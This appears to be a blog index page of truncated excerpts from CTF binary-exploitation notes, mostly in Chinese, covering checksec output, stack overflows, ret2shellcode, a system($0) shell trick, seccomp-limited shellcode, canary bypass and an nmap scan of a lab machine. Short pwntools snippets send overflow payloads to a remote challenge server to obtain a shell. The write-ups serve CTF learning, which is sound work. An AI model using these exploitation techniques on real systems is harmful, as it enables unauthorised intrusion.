bamuwe@bamuwe:~/palu$ checksec Palu [*] '/home/bamuwe/palu/Palu' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400...

[*] '/home/bamuwe/ez_uaf/ez_uaf' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled $ checksec ./ez_uaf Easy...

shell的特殊姿势 看上去很简单的栈溢出,但是问题在于找不到能用的/bin/sh或者sh 这里出现了一个shell的新姿势:可以利用system($0)获得shell权限，$0在机器码中为 \x24\x30 在tips函数中正好有 \x24\x30可以用来构造,所以需要取出0x400541 关于ida打开机器码:Option->general->Number ...

NSSCTF_pwn_刷题笔记page(1) [SWPUCTF 2021 新生赛]gift_pwn from pwn import * io = remote('node4.anna.nssctf.cn',28991) padding = 16+8 shell = 0x4005B6 payload = b'A'*padding+p64(shell) io.sendline(payloa...

主机发现 192.168.30.133 信息收集 └─$ nmap -sV -A 192.168.30.133 Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-22 03:26 EST Nmap scan report for 192.168.30.133 Host is up (0.0013s latency). Not sho...

Canary 保护 程序控制流 64位libc泄露 bamuwe@bamuwe:~/done/others_babystack$ checksec babystack [*] '/home/bamuwe/done/others_babystack/babystack' Arch: amd64-64-little RELRO: Full RELRO ...

bamuwe@bamuwe:~$ file quasar quasar: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=00a219f57c37379e9a7d16a82edc...

bss bamuwe@qianenzhao:~$ checksec start [*] '/home/bamuwe/start' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE...

shellcraft方法的使用 逻辑很简单,shellcode存在于.bss段上,写入shellcode,执行shellcode orw_seccomp对系统调用的函数做了限制,只能使用sys_open,sys_read,sys_write所以我们利用这三个函数直接读取flag 一种方法是手写汇编,然后通过asm()函数转换,难度比较大,另外一种就是我利用的这...

ret2shellcode 存在漏洞函数vulnerable_function printf函数泄露了buf栈上地址 read函数中,buf变量中存在溢出 往buf写入shellcode再跳转到buf栈上 from pwn import * io = process('./level1') io.recvuntil(b'What\'s this:') buf_ad...